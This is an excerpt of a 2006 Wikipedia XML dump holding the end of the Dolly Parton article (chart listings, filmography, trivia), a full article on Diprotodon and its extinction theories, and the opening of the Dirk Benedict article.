*[[1975 in music|1975]] &quot;Say Forever You'll Be Mine&quot; (with Porter Wagoner) (#5 COUNTRY)
*[[1975 in music|1975]] &quot;We Used To&quot; (#9 COUNTRY)
*[[1975 in music|1975]] &quot;Is Forever Longer Than Always&quot; (with Porter Wagoner) (#8 COUNTRY)
*[[1976 in music|1976]] &quot;All I Can Do&quot; (#3 COUNTRY)
*[[1977 in music|1977]] &quot;Light of a Clear, Blue Morning&quot; #87 U.S. (#11 COUNTRY)
*[[1977 in music|1977]] &quot;[[Here You Come Again]]&quot; #3 U.S. (#1 COUNTRY)
*[[1978 in music|1978]] &quot;Two Doors Down&quot; #19 U.S. 
*[[1978 in music|1978]] &quot;It's All Wrong (But It's All Right)&quot; (#1 COUNTRY)
*[[1978 in music|1978]] &quot;Heartbreaker&quot; #37 U.S. (#1 COUNTRY)
*[[1979 in music|1979]] &quot;Baby I'm Burning&quot; #25 U.S.
*[[1979 in music|1979]] &quot;I Really Got The Feeling&quot; (#1 COUNTRY)
*[[1979 in music|1979]] &quot;You're the Only One&quot; #59 U.S. (#1 COUNTRY)
*[[1979 in music|1979]] &quot;Sweet Summer Lovin'&quot; #77 U.S. (#7 COUNTRY)
*[[1980 in music|1980]] &quot;Starting Over Again&quot; #36 U.S. (#1 COUNTRY)
*[[1980 in music|1980]] &quot;Making Plans&quot; (with Porter Wagoner)  (#2 COUNTRY)
*[[1980 in music|1980]] &quot;Old Flames Can't Hold a Candle to You&quot;  (#1 COUNTRY)
*[[1981 in music|1981]] [[9 to 5 (Dolly Parton song)|&quot;9 to 5&quot;]] #1 U.S. (#1 COUNTRY)
*[[1981 in music|1981]] &quot;[[But You Know I Love You]]&quot; #41 U.S. (#1 COUNTRY)
*[[1982 in music|1982]] &quot;Single Women&quot; (#8 COUNTRY)
*[[1982 in music|1982]] &quot;Heartbreak Express&quot; (#7 COUNTRY)
*[[1982 in music|1982]] &quot;[[I Will Always Love You]]&quot; (1982 recording)  #53 U.S. (#1 COUNTRY)
*[[1982 in music|1982]] &quot;Hard Candy Christmas&quot; (#8 COUNTRY)
*[[1982 in music|1982]] &quot;Everything's Beautiful&quot; (with [[Willie Nelson]]) (#7 COUNTRY)
*[[1983 in music|1983]] &quot;[[Islands in the Stream]]&quot; (with [[Kenny Rogers]]) #1 U.S., #7 UK (#1 COUNTRY)
*[[1984 in music|1984]] &quot;Save the Last Dance for Me&quot; #45 U.S. (#3 COUNTRY)
*[[1984 in music|1984]] &quot;Tennessee  Homesick Blues&quot; (#1 COUNTRY)
*[[1984 in music|1984]] &quot;God Won't Get You&quot; (#10 COUNTRY)
*[[1985 in music|1985]] &quot;Don't Call it Love&quot; (#3 COUNTRY)
*[[1985 in music|1985]] &quot;Real Love&quot; #91 U.S. (with [[Kenny Rogers]]) (#1 COUNTRY)
*[[1986 in music|1986]] &quot;Think About Love&quot; (#1 COUNTRY)
*[[1987 in music|1987]] &quot;To Know Him is to Love Him&quot; (with [[Emmylou Harris]]) and [[Linda Ronstadt]]) (#1 COUNTRY)
*[[1987 in music|1987]] &quot;Telling Me Lies&quot; (with [[Emmylou Harris]]) and [[Linda Ronstadt]]) (#3 COUNTRY)
*[[1987 in music|1987]] &quot;Those Memories Of You&quot; (with [[Emmylou Harris]]) and [[Linda Ronstadt]]) (#5 COUNTRY)
*[[1988 in music|1988]] &quot;Wildflowers&quot; (with [[Emmylou Harris]]) and [[Linda Ronstadt]]) (#1 COUNTRY)
*[[1989 in music|1989]] &quot;Why'd Ya' Come In Here Lookin' Like That?&quot; (#1 COUNTRY)
*[[1989 in music|1989]] &quot;Yellow Roses&quot; (#1 COUNTRY) (Backing Vocals : [[Ken Dodd]])
*[[1991 in music|1991]] &quot;Rockin' Years&quot; (with Ricky Van Shelton) (#1 COUNTRY)
*[[2004 in music|2004]] &quot;Baby It's Cold Outside&quot; (with Rod Stewart) (#2 ADULT CONTEMPORARY)
*[[2005 in music|2005]] &quot;When I Get Where I'm Going&quot; (with [[Brad Paisley]]) #39 U.S. (#1 COUNTRY)

==Charting albums== [http://www.dollymania.net/charta.htm]
*[[1967 in music|1967]] &quot;Hello I’m Dolly&quot; (#11 COUNTRY)
*[[1968 in music|1968]] &quot;Just Between You And Me&quot; (with Porter Wagoner) (#8 COUNTRY)
*[[1968 in music|1968]] &quot;Just Because I‘m A Woman&quot; (#22 COUNTRY)
*[[1968 in music|1968]] &quot;Just The Two Of Us&quot; (with Porter Wagoner) #184 U.S. (#11 COUNTRY)
*[[1969 in music|1969]] &quot;In The Good Old Days (When Times Were Bad)&quot; (#15 COUNTRY)
*[[1969 in music|1969]] &quot;Always, Always&quot; (with Porter Wagoner) #162 U.S. (#5 COUNTRY)
*[[1969 in music|1969]] &quot;My Blue Ridge Mountain Boy&quot; #194 U.S. (#6 COUNTRY)
*[[1970 in music|1970]] &quot;The Fairest Of Them All&quot; (#13 COUNTRY)
*[[1970 in music|1970]] &quot;Porter Wayne and Dolly Rebecca&quot; (with Porter Wagoner) #137 U.S. (#4 COUNTRY)
*[[1970 in music|1970]] &quot;A Real Live Dolly&quot; (live album) #154 U.S. (#32 COUNTRY)
*[[1970 in music|1970]] &quot;Once More&quot; (with Porter Wagoner) #191 U.S. (#7 COUNTRY)
*[[1970 in music|1970]] &quot;The Best Of Dolly Parton&quot; (#12 COUNTRY)
*[[1971 in music|1971]] &quot;Two Of A Kind&quot; (with Porter Wagoner) #142 U.S. (#13 COUNTRY)
*[[1971 in music|1971]] &quot;Golden Streets Of Glory&quot; (#22 COUNTRY)
*[[1971 in music|1971]] &quot;Joshua&quot; #198 U.S. (#16 COUNTRY)
*[[1971 in music|1971]] &quot;The Best Of Porter Wagoner and Dolly Parton&quot; (#7 COUNTRY)
*[[1971 in music|1971]] &quot;Coat Of Many Colors&quot; (#7 COUNTRY)
*[[1972 in music|1972]] &quot;The Right Combination/Burning The Midnight Oil&quot; (with Porter Wagoner) (#6 COUNTRY)
*[[1972 in music|1972]] &quot;Touch Your Woman&quot; (#19 COUNTRY)
*[[1972 in music|1972]] &quot;Together Always&quot; (with Porter Wagoner) (#3 COUNTRY)
*[[1972 in music|1972]] &quot;Sings My Favorite Songwriter: Porter Wagoner&quot; (#33 COUNTRY)
*[[1973 in music|1973]] &quot;We Found It&quot; (with Porter Wagoner) (#20 COUNTRY)
*[[1973 in music|1973]] &quot;My Tennessee Mountain Home&quot; (#19 COUNTRY)
*[[1973 in music|1973]] &quot;Love And Music&quot; (with Porter Wagoner) (#8 COUNTRY)
*[[1973 in music|1973]] &quot;Bubbling Over&quot; (#14 COUNTRY)
*[[1974 in music|1974]] &quot;Jolene&quot; (#6 COUNTRY)
*[[1974 in music|1974]] &quot;Porter ‘N‘ Dolly&quot; (with Porter Wagoner) (#8 COUNTRY)
*[[1974 in music|1974]] &quot;Love Is Like A Butterfly&quot; (#7 COUNTRY)
*[[1975 in music|1975]] &quot;The Bargain Store&quot; (#9 COUNTRY)
*[[1975 in music|1975]] &quot;In Concert&quot; (live album with Chet Atkins, Ronnie Milsap, Charley Pride, Jerry Reed and Gary Stewart) (#19 COUNTRY)
*[[1975 in music|1975]] &quot;Best Of Dolly Parton (Vol. 2)&quot; (#5 COUNTRY)
*[[1975 in music|1975]] &quot;Say Forever You‘ll Be Mine&quot; (with Porter Wagoner) (#6 COUNTRY)
*[[1975 in music|1975]] &quot;Dolly&quot; (aka &quot;The Seeker/We Used To&quot;)(#14 COUNTRY)
*[[1976 in music|1976]] &quot;All I Can Do&quot; (#3 COUNTRY)
*[[1977 in music|1977]] &quot;New Harvest - First Gathering&quot; #71 U.S. (#1 COUNTRY)
*[[1977 in music|1977]] &quot;[[Here You Come Again]]&quot; #20 U.S. (#1 COUNTRY)
*[[1978 in music|1978]] &quot;Heartbreaker&quot; #27 U.S. (#1 COUNTRY)
*[[1978 in music|1978]] &quot;Dolly Parton/Both Sides&quot; #24 UK
*[[1979 in music|1979]] &quot;Great Balls of Fire&quot; #40 U.S. (#4 COUNTRY)
*[[1980 in music|1980]] &quot;Dolly, Dolly, Dolly&quot; #71 U.S. (#7 COUNTRY)
*[[1980 in music|1980]] &quot;Porter &amp; Dolly&quot; (with Porter Wagoner) (#9 COUNTRY)
*[[1980 in music|1980]] &quot;9 to 5 and Odd Jobs&quot; #11 U.S. (#1 COUNTRY)
*[[1982 in music|1982]] &quot;Heartbreak Express&quot; #106 U.S. (#5 COUNTRY)
*[[1982 in music|1982]] &quot;The Best Little Whorehouse In Texas&quot; (film soundtrack) #63 U.S. (#5 COUNTRY)
*[[1982 in music|1982]] &quot;Greatest Hits&quot; #77 U.S. (#7 COUNTRY)
*[[1982 in music|1982]] &quot;The Winning Hand&quot; (with Kris Kristofferson, Brenda Lee, and Willie Nelson) #109 U.S. (#4 COUNTRY)
*[[1983 in music|1983]] &quot;Burlap &amp; Satin&quot; #127 U.S. (#5 COUNTRY)
*[[1984 in music|1984]] &quot;The Great Pretender&quot; #73 U.S. (#7 COUNTRY)
*[[1984 in music|1984]] &quot;Rhinestone&quot; (film soundtrack) #135 U.S. (#32 COUNTRY)
*[[1984 in music|1984]] &quot;Once Upon A Christmas&quot; (with Kenny Rogers) #31 U.S. (#12 COUNTRY)
*[[1985 in music|1985]] &quot;Real Love&quot; (#9 COUNTRY)
*[[1986 in music|1986]] &quot;Think About Love&quot; (#54 COUNTRY)
*[[1987 in music|1987]] &quot;[[Trio (album)|Trio]]&quot; (with [[Emmylou Harris]] and [[Linda Ronstadt]] #6 U.S. (#1 COUNTRY)
*[[1987 in music|1987]] &quot;Rainbow&quot; #153 U.S. (#18 COUNTRY)
*[[1989 in music|1989]] &quot;White Limozeen&quot; (#3 COUNTRY)
*[[1990 in music|1990]] &quot;Home For Christmas&quot; (#74 COUNTRY)
*[[1991 in music|1991]] &quot;Eagle When She Flies&quot; #24 U.S. (#1 COUNTRY)
*[[1992 in music|1992]] &quot;Straight Talk&quot; (film soundtrack) #138 U.S. (#22 COUNTRY)
*[[1993 in music|1993]] &quot;Slow Dancing With The Moon&quot; #16 U.S. (#4 COUNTRY)
*[[1993 in music|1993]] &quot;Honky Tonk Angels&quot; (with Loretta Lynn and Tammy Wynette) #42 U.S. (#6 COUNTRY)
*[[1994 in music|1994]] &quot;Heartsongs: Live From Home&quot; (live album) #87 U.S. (#16 COUNTRY)
*[[1995 in music|1995]] &quot;Something Special&quot; #54 U.S. (#10 COUNTRY)
*[[1996 in music|1996]] &quot;I Will Always Love You And Other Greatest Hits&quot; (#47 COUNTRY)
*[[1996 in music|1996]] &quot;Treasures&quot; #122 U.S. (#21 COUNTRY)
*[[1997 in music|1997]] &quot;A Life in Music - Ultimate Collection&quot; #38 UK
*[[1998 in music|1998]] &quot;Hungry Again&quot; #167 U.S. (#23 COUNTRY)
*[[1999 in music|1999]] &quot;[[Trio 2 (album)]]&quot; (with [[Emmylou Harris]] and [[Linda Ronstadt]] #62 U.S. (#4 COUNTRY)
*[[1999 in music|1999]] &quot;The Grass Is Blue&quot; #198 U.S. (#24 COUNTRY)
*[[2001 in music|2001]] &quot;Little Sparrow&quot; # 97 U.S., #30 UK (#12 COUNTRY)
*[[2001 in music|2001]] &quot;Gold - The Hits Collection&quot; #23 UK
*[[2002 in music|2002]] &quot;Halos &amp; Horns&quot; #58 U.S., #37 UK (#4 COUNTRY)
*[[2003 in music|2003]] &quot;Ultimate Dolly Parton&quot; #130 U.S., #17 UK (#20 COUNTRY)
*[[2003 in music|2003]] &quot;Just Because I‘m A Woman: Songs Of Dolly Parton&quot; #55 U.S. (#6 COUNTRY)
*[[2003 in music|2003]] &quot;For God And Country&quot; #167 U.S. (#23 COUNTRY)
*[[2004 in music|2004]] &quot;Live &amp; Well&quot; (live album) #161 U.S. (#22 COUNTRY) 
*[[2005 in music|2005]] &quot;Those Were The Days&quot; #48 U.S. (#9 COUNTRY) #35 UK (#2 U.K. Country)

==Filmography==
*''[[Nine to Five|9 to 5]]'' ([[1980 in film|1980]]) ... Doralee Rhodes
*''[[The Best Little Whorehouse in Texas]]'' ([[1982 in film|1982]]) ... Mona Stangley
*''[[Rhinestone (1984 film)|Rhinestone]]'' ([[1984 in film|1984]]) ... Jake
*''[[Steel Magnolias]]'' ([[1989 in film|1989]]) ... Truvy Jones
*''[[Straight Talk]]'' ([[1992 in film|1992]]) ... Shirlee Kenyon
*''[[The Beverly Hillbillies (1993 movie)|The Beverly Hillbillies]]'' ([[1993 in film|1993]]) ... cameo as herself
*''[[Frank McKlusky, C.I.]]'' ([[2002 in film|2002]]) ... Edith McKlusky
*''[[Miss Congeniality 2: Armed and Fabulous]]'' ([[2005 in film|2005]]) .. cameo as herself

==TV filmography==
*''[[A Smoky Mountain Christmas]]'' ([[1986 in television|1986]]) ... Lorna Davis
*''[[Wild Texas Wind]]'' ([[1991 in television|1991]]) ... Thiola &quot;Big T&quot; Rayfield
*''[[Big Dreams and Broken Hearts: The Dottie West Story]]'' ([[1995 in television|1995]]) ... cameo as herself
*''[[Naomi and Wynonna: Love Can Build a Bridge]]'' ([[1995 in television|1995]]) ... cameo as herself
*''[[Get To The Heart: The Barbara Mandrell Story]]'' ([[1997 in television|1997]]) ... cameo as herself
*''[[Unlikely Angel]]'' ([[1996 in television|1996]]) ... Ruby Diamond
*''[[Blue Valley Songbird]]'' ([[1999 in television|1999]]) ... Leanna Taylor
*''[[Jackie's Back]]'' ([[1999 in television|1999]]) ... cameo as herself

==TV series==
*''[[Heavens to Betsy (1994 TV series)|Heavens to Betsy]]'' ([[1994 in television|1994]]) (comedy - three episodes, unaired) ... star

==TV guest appearances==
*''[[Country Music Association Awards]]'' [[1968]] - 86 ...Performer/presenter
*''[[Hee-Haw]]'' [[1974]] ... as herself
*''[[Capitain Kangaroo]]'' [[1976in television|1976]] ... as herself
*''[[Cher Special]]'' [[1978]] ... as herself
*''[[The Midnight Special (television)|The Midnight Special]]'' [[1978in television|1978]] ... Host
*''[[Alvin &amp; The Chipmunks]]'' [[1987in television|1987]] ... as herself
*''[[Country Music Association Awards]]'' [[1988in television|1988]] ... Host
*''[[Saturday Night Live]]'' [[1989in television|1989]] ... Host/Musical Guest
*''[[Designing Women]]'' [[1990in television|1990]] ... as herself/&quot;Guardian Movie Star&quot;
*''[[Babes]]'' [[1991in television|1991]] ... as herself
*''[[The Magic School Bus]]'' [[1994in television|1994]] ... Katrina Eloise &quot;Murph&quot; Murphy 
*''[[The Simpsons]]'' [[1999in television|1999]] ... as herself
*''[[Bette]]'' [[2000 in television|2000]] ... as herself
*''[[Academy Of Country Music Awards]]'' [[2000in television|2000]] ... Host
*''[[Austin City Limits]]'' [[2001in television|2001]] ... Musical Guest
*''[[CMT Flame Worthy Awards]]'' [[2004in television|2004]] ... Host
*''[[Reba]]'' [[2005 in television|2005]] ... Dolly Majors

==TV music &amp; variety series==
*''[[The Porter Wagoner Show]]'' ([[1967 in television|1967]]-[[1974 in television|1974]]) (country music) ... regular singer
*''[[Dolly (1976 TV series)|Dolly]]'' ([[1976 in television|1976]]-[[1977 in television|1977]]) (variety) ... host
*''[[Dolly (TV series)|Dolly]]'' ([[1987 in television|1987]]-[[1988 in television|1988]]) (variety) ... host

==TV specials==
*''[[Rowan and Martin Special]]'' [[1973in television|1973]]
*''[[Mac Davis Special]]'' [[1977in television|1977]]
*''[[Cher . . . Special]]'' [[1978in television|1978]]
*''[[Carol and Dolly in Nashville]]'' [[1979in television|1979]]
*''[[Mac Davis Special]]'' [[1979in television|1979]]
*''[[Mac Davis Special]]'' [[1980in television|1980]]
*''[[Best Little Special In Texas]]'' [[1982in television|1982]]
*''[[Dolly In London]]'' [[1983in television|1983]]
*''[[Dolly Parton Meets The Kids]]'' [[1983in television|1983]]
*''[[Kenny &amp; Dolly: Once Upon A Christmas]]'' [[1984in television|1984]]
*''[[Kenny &amp; Dolly: Real Love]]'' [[1985in television|1985]]
*''[[Bob Hope Christmas Special]]'' [[1988in television|1988]]
*''[[Kenny, Dolly &amp; Willie: Something Inside So Strong]]'' [[1989in television|1989]]
*''[[Home For Christmas]]'' [[1990in television|1990]]
*''[[Treasures]]'' [[1996in television|1996]]
*''[[Precious Memories]]'' [[1999in television|1999]]
*''[[Graham Goes To Dollywood]]'' [[2001in television|2001]]
*''[[A Capitol Fourth]]'' [[2003in television|2003]]
*''[[Stars Over Texas]]'' [[2003in television|2003]]
*''[[U.S. Library Of Congress Living Legend Ceremony]]'' [[2004in television|2004]]

==Documentaries==
*''[[The Nashville Sound]]'' ([[1970 in film|1970]])
*''[[Heartsong]]'' ([[1994 in film|1994]])
*''[[CMT]] Insider- Dolly Parton ([[2001]])
*''[[Our Country]]'' ([[2002 in film|2002]])
*''[[Uncut: The True Story of Hair]]'' ([[2002 in film|2002]])
*''[[Travel Channel]] American Roadtrip: Dollywood ([[2002]])
*''[[E! True Hollywood Story]]- Dolly Parton ([[2005]])

==Trivia==
*The [[Dolly the sheep|first cloned mammal]] was a sheep named &quot;[[Dolly the Sheep|Dolly]]&quot; in honor of Dolly Parton, because it was cloned from a [[mammary gland|mammary]] [[cell (biology)|cell]]. Parton is famous for her ample [[breast|bust]], now augmented by [[breast implants]].
*She is believed to be a cousin of porn star [[Julia Parton]].
*As the writer [[Tony Barrell (journalist)|Tony Barrell]] has pointed out (London [[Sunday Times]], January 8, 2006), Parton was born on the same day as the eminent British novelist [[Julian Barnes]], and both stars have [[theme park]] connections. Parton, of course, has [[Dollywood]], and Barnes's 1998 novel, [[England, England]], is about an entrepreneur re-creating England as a theme park on the [[Isle of Wight]].
*Parton reportedly told [[Sandra Bullock]] while they were rehearsing her scene in ''[[Miss Congeniality 2: Armed and Fabulous]]'', &quot;I want to make that Britney-Madonna kiss look tame.&quot;
*In a [[Celebrity Jeopardy! (SNL)|Celebrity Jeopardy!]] sketch on [[Saturday Night Live]], [[Darrell Hammond]], portraying [[Sean Connery]], answers &quot;Dolly Parton!&quot; in the category &quot;Famous Titles,&quot; which he thinks is &quot;Famous [[Breast|Titties]].&quot;
* She once said: &quot;I'm not offended by all of the dumb blonde jokes because I know I'm not dumb--and I'm also not blonde.&quot;
*In 1981 in [[Academy Award]] she had a nomination for the best song: &quot;Nine to Five&quot; from the movie [[Nine to Five]], but sadly she didn't catch it. In 2006 she has her second [[Academy Award]] nomination for the best song: &quot;Travelin' Thru&quot; from the movie [[Transamerica (film)]]

==See also==
*[[Academy of Country Music]]
*[[Country Music Association]]
*[[Country Music Hall of Fame]]
*[[List of country music performers]]
*[[List of best-selling music artists]]

==External links==
{{wikiquote}}
===Official websites===
*[http://www.dollywood.com/ Dollywood (Parton’s theme park)]
*[http://www.dollywoodssplashcountry.com/ Dollywood’s Splash Country (her water park)]
*[http://www.dixiestampede.com/ Dolly Parton’s Dixie Stampede (her restaurant)]
*[http://www.imaginationlibrary.com/ Dolly Parton’s Imagination Library (her nationwide literacy program)]
*[http://www.sugarhillrecords.com/catalog/artist.cgi?Dolly+Parton Sugar Hill Records]

===Fan websites===
*[http://www.dollymania.net/ Dollymania: The Online Dolly Parton Newsmagazine]
*[http://www.dollyon-line.com/ Dolly On-line.com]
*[http://www.dollyonline.net/ Dolly Online.net]
*[http://www.ultimatedolly.co.uk/ Ultimate Dolly U.K.]
*[http://www.freewebs.com/dollypartoncentral/ Dolly Parton Central]

===Unofficial websites===
*[http://www.cmt.com/artists/az/parton_dolly/artist.jhtml? Artist page at CMT]
*[http://www.morethings.com/music/dolly_parton/pictures.htm Dolly Parton Photo Galleries] Hundreds of pictures
*[http://www.gactv.com/legends/bios/parton_d.html Artist page at Great American Country]
*[http://www.vh1.com/artists/az/parton_dolly/artist.jhtml Artist page at VH1]
*{{imdb name|id=0000573|name=Dolly Parton}}
*[http://www.lyricsdir.com/dolly-parton-lyrics.html Dolly Parton Lyrics]

[[Category:1946 births|Parton, Dolly]]
[[Category:American country singers|Parton, Dolly]]
[[Category:American songwriters|Parton, Dolly]]
[[Category:American entrepreneurs|Parton, Dolly]]
[[Category:American female singers|Parton, Dolly]]
[[Category:American film actors|Parton, Dolly]]
[[Category:American memoirists|Parton, Dolly]]
[[Category:American women|Parton, Dolly]]
[[Category:Appalachian culture|Parton, Dolly]]
[[Category:Bluegrass musicians|Parton, Dolly]]
[[Category:Hollywood Walk of Fame|Parton, Dolly]]
[[Category:People from Tennessee|Parton, Dolly]]
[[Category:Gay icons|Parton, Dolly]]
[[Category:Living people|Parton, Dolly]]
[[Category:Cherokee people|Parton, Dolly]]

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    </revision>
  </page>
  <page>
    <title>Diprotodont</title>
    <id>8717</id>
    <revision>
      <id>42137915</id>
      <timestamp>2006-03-04T01:50:53Z</timestamp>
      <contributor>
        <ip>70.243.173.123</ip>
      </contributor>
      <text xml:space="preserve">{{verify}}


{{Taxobox
| color = pink
| name = Diprotodonts
| status = {{StatusPrehistoric}}
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| subclassis = [[Marsupialia]]
| ordo = [[Diprotodontia]]
| subordo = [[Vombatiformes]]
| familia = [[Diprotodontidae]]
| genus = '''''Diprotodon'''''
| genus_authority = [[Richard Owen|Owen]], 1838
| subdivision_ranks = Species
| subdivision = 
''Diprotodon opatum&lt;br /&gt;Diprotodon minor''&lt;br /&gt;
''Diprotodon loderi&lt;br /&gt;Diprotodon annextans''
}}
'''Diprotodonts''' were the largest [[Marsupialia|marsupial]]s that ever lived. They, along with many other members of a group of unusual species collectively called the [[Australian megafauna]], existed from 1.6 million years ago until about 50,000 years ago (through most of the [[Pleistocene|Pleistocene epoch]]). ''Diprotodon'' spp. [[fossil]]s have been found in many places across [[Australia]], including complete skulls and skeletons, as well as hair and foot impressions.  More than one female skeleton has been found with a baby lying in her pouch where it was [[abortion|aborted]].

They inhabited open forest, woodlands, and grasslands, possibly staying close to water, and eating leaves, shrubs and some grasses.  The largest were [[hippopotamus]]-sized: about three meters from nose to tail, standing two meters tall at the shoulder.  The closest surviving relatives are the [[wombat]]s and the [[Koala]]. It is fancifully suggested that diprotodonts may have been the inspiration for the legends of the [[bunyip]].



==Theories on diprotodont extinction==

Diprotodonts, along with a wide range of other Australian [[megafauna]], became extinct shortly after humans arrived in Australia about 50,000 years ago. Three theories have been advanced to explain the mass extinction. 

===Climate change===

Australia has undergone a very long process of gradual aridification since it split off from [[Gondwana]] about 40 million years ago. From time to time the process reverses for a period, but overall the trend has been strongly toward lower rainfall. The recent [[ice age]]s produced no significant glaciation in mainland Australia but long periods of cold and very dry weather. It is suggested that lowered rainfall during the last ice age killed off all the large diprotodonts. Critics of this theory point out that the large diprotodonts had already survived a long series of similar ice ages and that there does not seem to be any particular reason why the most recent one should have achieved what all the previous ice ages had failed to do, and add that, in any case, the peak period of climate change appears to have been 25,000 years ''after'' the extinctions. Finally, critics point out that even during climatic extremes some parts of the continent always remain relatively exempt: the tropical north, for example, stays fairly warm and wet in all climatic circumstances; alpine valleys are less affected by drought, and so on.
[[image:Diprotodon.jpg|thumb|right|Cast of a diprotodont skeleton]]
===Human hunting===

The 'blitzkrieg' theory begins with the observation that the extinctions appear to have coincided with the arrival of human beings on the continent, notes that, in broad, it was the largest and least well-defended species that died out, and argues that the obvious explanation is that human hunters killed and ate them&amp;#8212;as happened with the [[megafauna]] of [[New Zealand]] and, at least in part, [[The Americas|America]]&amp;#8212;probably in the space of only a thousand years or so. Recent finds of ''Diprotodon'' bones which appear to display butchering marks lend support to this theory. Critics of this theory regard it as simplistic, argue that (unlike New Zealand and America) there is little direct evidence of hunting, and that the dates on which the theory rests are too uncertain to be relied on.

===Human land management===

The third theory also places humans at centre stage, but as indirect rather than direct agents of change. It draws a link between the known land-management and hunting practices of modern [[Australian Aborigine|Aboriginal]] people as recorded by the earliest European settlers before Aboriginal society was devastated by European contact and disease&amp;#8212;regular and persistent burning off to drive game, open up dense thickets of vegetation, and create fresh green regrowth for both people and game animals to eat&amp;#8212;and the sudden increase in ash deposits at the time that people first arrived in Australia. By changing the landscape with fire, this theory argues, the first human settlers destroyed the ecosystem on which large marsupial fauna depended.

===Conclusion===
These theories are not mutually exclusive. Although they are hotly and sometimes acrimoniously debated by specialists, few would argue that it is necessary to choose one single explanation for the extinction of many different animals in a wide range of different environments, from tropical to temperate, from desert to rainforest. Secondly, each of the three proposed mechanisms is broadly supportive of the other two, and often it makes little difference which one is regarded as the 'primary' cause. For example, if burning an area of fairly thick forest and thus turning it into a more open, grassy environment is considered likely to impact on the viability of a large browser (an animal that eats leaves and shoots rather than grasses), the reverse is equally true: removing the browsing animals (by eating them, or by any other means) within a few years produces a very thick undergrowth which, when a fire eventually starts through natural causes (as fires tend to do every few hundred years), burns with greater than usual ferocity. The burnt-out area is then repopulated with a greater proportion of fire-loving plant species (notably [[eucalypt]]s, some [[acacia]]s, and most of the native grasses) which are unsuitable habitat for most browsing animals. Either way, the trend is toward the modern Australian environment of highly flammable open [[sclerophyllous]] forests, woodlands and grasslands, none of which are suitable for large, slow-moving browsing animals&amp;mdash;and either way, the changed microclimate produces substantially less rainfall.


[[Category:Prehistoric marsupials]]
[[Category:Pleistocene mammals]]
[[Category:Pleistocene extinctions]]
[[Category:Extinct Australian animals]]
[[Category:Vombatiforms]]

[[de:Diprotodon]]
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    </revision>
  </page>
  <page>
    <title>Dirk Benedict</title>
    <id>8718</id>
    <revision>
      <id>42162286</id>
      <timestamp>2006-03-04T05:52:53Z</timestamp>
      <contributor>
        <ip>24.127.184.36</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Ltstarbuck.jpg|thumb|250px|Dirk Benedict as Lt. Starbuck on [[Battlestar Galactica (original series)|Battlestar Galactica]]]]
'''Dirk Benedict''' (born '''Dirk Niewoehner''' on [[March 1]], [[1945]]) is a [[film|movie]] and [[television]] [[actor]], perhaps best known for playing the characters Lt. Templeton &quot;Face&quot; Peck in ''[[The A-Team]]'' [[television series]] and Lt. Starbuck in the original ''[[Battlestar Galactica (1978)|Battlestar Galactica]]'' movie and television series. He was born in [[Helena, Montana|Helena]], [[Montana]], [[USA]].  

==Career==
At [[Whitman College]] in [[Walla Walla, Washington]], Dirk became interested in acting. During his freshman year, he accepted a dare to audition for the spring [[Musical theater|musical]] and won the lead role of Gaylord Ravenal in ''[[Show Boat]]''. He also joined the [[Phi Delta Theta]] [[fraternity]] that year, which he credits with supporting his endeavors and encouraging his development.  The next three years were filled with many more musical productions. Upon graduation, Benedict began a two-year training program under [[John Fernald]], who had headed the [[Royal Academy of Dramatic Art]] in [[London]] for fifteen years.

At that time, he started to use the stage name 'Benedict'; supposedly, whilst searching for a catchier, less ethnic name, he agreed to the suggestion of &quot;Benedict&quot; by his agent, who was inspired by Dirk's breakfast choice of [[Eggs Benedict]] during their early morning conversation.

Benedict then played repertory theatre in [[Seattle, Washington|Seattle]] and in [[Ann Arbor, Michigan|Ann Arbor]], [[Michigan]], where he played such roles as Edmund in ''[[King Lear]]'', Tarleton in ''[[Misalliance]]'', Ensign Pulver in ''[[Mister Roberts]]'', and the lead in [[Neil Simon]]'s ''[[Star-Spangled Girl]]''. An agent sent him to an audition which resulted in a co-starring role with [[Diana Rigg]] and [[Keith Mitchell]] in ''[[Pierre Abélard|Abelard]] [[Heloise|and Heloise]]'', first on [[Broadway theatre|Broadway]], then in [[Los Angeles]]. Two weeks after the show closed on Broadway, Dirk was winging across the Atlantic to [[Sweden]] for his first movie, ''[[Georgia, Georgia]]'' in which he co-starred with [[Diana Sands]]. This film about draft resisters, shot entirely in Sweden, was written by [[Maya Angelou]].

On his return to New York, Benedict replaced [[Keir Dullea]] in ''[[Butterflies Are Free]]'' on Broadway where he worked with [[Gloria Swanson]] as his mother. When the New York run ended, he received an offer to repeat his performance in [[Hawaii]], opposite [[Barbara Rush]]. While there, he appeared as a guest lead on ''[[Hawaii Five-O]]''. The producers of a psycho-thriller called ''[[Sssssss]]'' saw Benedict's performance in ''Hawaii-Five-O'' and promptly cast him as the lead in that movie. He next played the psychotic wife-beating husband of [[Twiggy]] in her American film debut, ''[[W]]''. Benedict starred in the television series, ''[[Chopper One]]'', but his career break came when he appeared as Lieutenant Starbuck in the movie and television series ''Battlestar Galactica''. Several years later, Dirk gained further popularity as a member of the [[1980s]] action television series, ''The A-Team''. There has reportedly been some speculation of his possibly appearing in a guest spot on the new Battlestar Galactica series, perhaps as Starbucks father.  

==Personal==
===Family===
In [[1986]], he married [[Toni Hudson]], an actress, with whom he has two sons, George and Roland. They divorced in [[1995]]. In [[1998]], Benedict learned that he also has another son, John (born [[1968]]), from a youthful relationship.

===Health===
According to fellow ''A-Team'' actor and friend, [[Dwight Schultz]], Benedict claims to have been diagnosed with [[prostate]] [[cancer]] by a psychic in [[Italy]], who discovered the cause of Benedict's ailment by examining a photograph of him. 

He claims he survived the disease without surgery, and with only the dietary help of a macrobiotic diet recommended by [[Gloria Swanson]].

== Filmography ==

*''[[Goldene Zeiten]]'' (2006) - Douglas Burnett
*''[[Waking Up Horton]]'' (1998) 
*''[[Steel Stomachs]]'' (1997) - Host 
*''[[Zork: Grand Inquisitor]]'' (1997) (Video Game) - Antharia Jack 
*''[[Abduction of Innocence]]'' (1996) (TV) - Robert Steves 
*''[[Alaska (1996 film)|Alaska]]'' (1996) - Jake Barnes 
*''[[Demon Keeper]]'' (1994) - Alexander Harris 
*''[[The Feminine Touch]]'' (1994) - John Mackie 
*''[[Official Denial]]'' (1994) - Lt. Col. Dan Lerner 
*''[[Shadow Force]]'' (1993) - Rick Kelly 
*''[[Blue Tornado]]'' (1991) - Alex Long 
*''[[Bejewelled]]'' (1991) (TV) - Gordon 
*''[[Trenchcoat in Paradise]]'' (1989) (TV) - Eddie Mazda 
*''[[Body Slam]]'' (1987) - M. Harry Smilac 
*''[[Mark of the Devil (1984 film)|Mark of the Devil]]'' (1984) (TV) - Frank Rowlett 
